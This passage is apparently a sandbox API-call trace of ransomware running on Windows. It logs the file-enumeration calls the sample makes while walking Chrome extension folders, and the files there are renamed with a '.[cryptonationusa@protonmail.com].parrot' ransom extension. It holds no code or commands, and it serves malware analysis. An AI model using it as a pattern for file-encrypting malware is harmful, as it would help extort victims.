ftLastAccessTime.dwLowDateTime=0xb1067780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1067780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb108d8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb108d8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1a85500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1a85500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0096.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1aab660, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1aab660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1ce6b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1ce6b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1d0cc60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1d0cc60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1ed5ce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1ed5ce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb20067e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb20067e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb209ed60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb209ed60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb21f59c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb21f59c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb23988e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb23988e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2456fc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2456fc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb293fd20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb293fd20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2cd1e20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2cd1e20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2d1e0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2d1e0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb2fa5840, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb2fa5840, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb3279260, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb3279260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb32c5520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb32c5520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb32eb680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb32eb680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb34da860, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb34da860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb35009c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb35009c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb35bf0a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb35bf0a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb3657620, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb3657620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0096.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb3657620, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb3657620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0096.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31603b8 | out: hHeap=0x5b0000) returned 1 [0096.994] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0096.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3188d38 | out: hHeap=0x5b0000) returned 1 [0096.994] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0096.994] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.995] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.995] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0096.995] CloseHandle (hObject=0x28c) returned 1 [0096.996] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.996] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0096.996] CloseHandle (hObject=0x28c) returned 1 [0096.996] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0096.997] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb386c960, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb386c960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.997] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85d166b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb367d780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="COMPUT~1.PAR")) returned 1 [0096.998] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0096.998] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf06afe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf06afe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.999] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaea9da40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ICON_1~1.PAR")) returned 1 [0096.999] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0096.999] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.001] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf06afe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf06afe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1 [0097.001] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf06afe0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf06afe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 0 [0097.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x652a70 | out: hHeap=0x5b0000) returned 1 [0097.001] FindClose (in: hFindFile=0x6005d0 | out: hFindFile=0x6005d0) returned 1 [0097.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x668890 | out: hHeap=0x5b0000) returned 1 [0097.001] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0097.001] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.001] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0097.001] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.002] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.002] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.003] CloseHandle (hObject=0x268) returned 1 [0097.003] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.003] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.004] CloseHandle (hObject=0x268) returned 1 [0097.004] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.004] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.005] CloseHandle (hObject=0x268) returned 1 [0097.005] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.005] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.006] CloseHandle (hObject=0x268) returned 1 [0097.006] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.006] ReadFile (in: hFile=0x268, lpBuffer=0x18dd90, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18dd34, lpOverlapped=0x0 | out: lpBuffer=0x18dd90*, lpNumberOfBytesRead=0x18dd34*=0x18, lpOverlapped=0x0) returned 1 [0097.007] CloseHandle (hObject=0x268) returned 1 [0097.007] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0097.007] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.007] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.007] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.007] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.007] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.008] CloseHandle (hObject=0x274) returned 1 [0097.008] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.008] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb3e60060, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb3e60060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.008] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb3e39f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.009] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, 